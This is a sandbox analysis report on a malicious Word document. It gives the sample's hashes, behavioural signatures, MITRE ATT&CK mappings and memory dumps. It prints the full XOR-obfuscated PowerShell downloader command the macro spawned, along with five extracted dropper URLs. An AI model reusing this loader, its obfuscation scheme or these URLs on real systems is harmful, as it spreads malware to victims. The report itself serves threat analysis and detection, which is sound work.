7694066b23ea826ba0367777fe1f3e1b479a7fe3bac84adab2ae30f171ac1d5d

General

Target

7694066b23ea826ba0367777fe1f3e1b479a7fe3bac84adab2ae30f171ac1d5d.doc
Size

210KB
MD5

7a0e78ce8cccb72e9c39910df15490ba
SHA1

5c26eb1856e7c814370476a900148da49d79a9e1
SHA256

7694066b23ea826ba0367777fe1f3e1b479a7fe3bac84adab2ae30f171ac1d5d
SHA512

114baa574bb3302007ba407ad78e448b7ca7d3ca557c0cafd532919134988b23f81bbc94b4d308990637d65242f4a8abfb9b333f23e389f8f73dcd45144c1940

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://giftmaster.ml/PSf4hk96K/

exe.dropper

http://mapup.net/w2u4kwT/

exe.dropper

http://www.survivallives.com/WdnX2iVg/

exe.dropper

http://modivi.hu/nxmoQ9pDQm/

exe.dropper

http://eroscenter.co.il/v5nFBp/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

PowersHell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4084	3008	PowersHell.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

PowersHell.exe

flow pid process

63 4084 PowersHell.exe
66 4084 PowersHell.exe
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

flow	pid	process
63	4084	PowersHell.exe
66	4084	PowersHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 41 IoCs

Processes:

WaaSMedicAgent.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3008 WINWORD.EXE
3008 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

PowersHell.exe

pid process

4084 PowersHell.exe
4084 PowersHell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

PowersHell.exe

description pid process

Token: SeDebugPrivilege 4084 PowersHell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3008 WINWORD.EXE
3008 WINWORD.EXE
3008 WINWORD.EXE
3008 WINWORD.EXE
3008 WINWORD.EXE
3008 WINWORD.EXE
3008 WINWORD.EXE
3008 WINWORD.EXE

pid	process
3008	WINWORD.EXE
3008	WINWORD.EXE

pid	process
4084	PowersHell.exe
4084	PowersHell.exe

description	pid	process
Token: SeDebugPrivilege	4084	PowersHell.exe

pid	process
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3008 wrote to memory of 4084	3008	WINWORD.EXE	PowersHell.exe
PID 3008 wrote to memory of 4084	3008	WINWORD.EXE	PowersHell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7694066b23ea826ba0367777fe1f3e1b479a7fe3bac84adab2ae30f171ac1d5d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3008

C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe
PowersHell . ( $ENV:COmspec[4,24,25]-Join'')([StrIng]::JOIN( '',('116x39Z49I25<109H62x53W39x125u63<50I58H53u51u36Z112W30V53H36I126<7Z53Z50<19!60V57H53I62W36Z107I116!3!57u38@109I119@56<36W36@32@106u127H127!55u57V54!36H61H49W35u36Z53@34!126V61V60u127I0I3x54x100W56I59I105@102u27Z127I16W56W36<36Z32!106V127W127H61!49!32V37<32W126@62W53u36I127!39@98<37I100u59!39<4@127W16Z56!36<36Z32H106W127u127V39<39I39Z126x35W37I34H38Z57<38H49I60@60W57V38x53@35I126I51Z63<61Z127W7!52I62<8x98<57@6x55@127<16Z56@36@36H32H106V127I127Z61x63V52x57x38Z57@126@56@37V127!62!40Z61x63Z1!105!32@20V1I61!127x16I56H36I36I32!106!127x127H53x34H63<35I51@53Z62W36I53W34@126u51I63@126!57@60H127Z38H101!62u22!18V32x127Z119H126@3V32@60!57W36H120u119Z16V119W121u107W116x42x62u29H112!109!112<119W101u103@97W119I107W116x25x27W63Z109x116!53@62@38x106@36W53W61Z32u123V119@12H119W123V116Z42u62<29I123V119u126@53H40W53Z119x107V54V63W34H53H49W51!56H120Z116<42I50u63H112@57u62!112V116I3@57H38W121W43V36V34W41Z43H116I39@49W25!126W20<63x39u62I60H63H49x52V22u57@60Z53I120u116!42H50H63I124Z112Z116Z25x27Z63<121<107@3x36@49u34@36@125@0<34x63@51<53x35I35x112V116W25u27Z63W107@50<34V53!49<59I107!45V51I49!36I51<56<43!45x45' -SpliT'V' -spLit'w'-SPlit'I' -spliT'!'-SPLIt'u' -spLIT '@'-sPlIT'x'-spliT'H' -SPlIt'<' -sPlIT 'Z' |foREAcH-OBJECt{ [chAr] ($_ -bxoR '0x50')}) ) )
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1568

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe aa382a07c977f712ca8efb476502ac15 shUMUIiL30qmi1xrWk1YLg.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3008-130-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3008-131-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3008-132-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3008-133-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3008-134-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

Filesize
64KB

Download
memory/3008-137-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

Filesize
64KB

Download
memory/3008-138-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

Filesize
64KB

Download
memory/4084-151-0x00000140F2920000-0x00000140F2922000-memory.dmp

Filesize
8KB

Download
memory/4084-152-0x00000140F2923000-0x00000140F2925000-memory.dmp

Filesize
8KB

Download
memory/4084-153-0x00000140F28D0000-0x00000140F28F2000-memory.dmp

Filesize
136KB

Download
memory/4084-157-0x00000140F2926000-0x00000140F2928000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads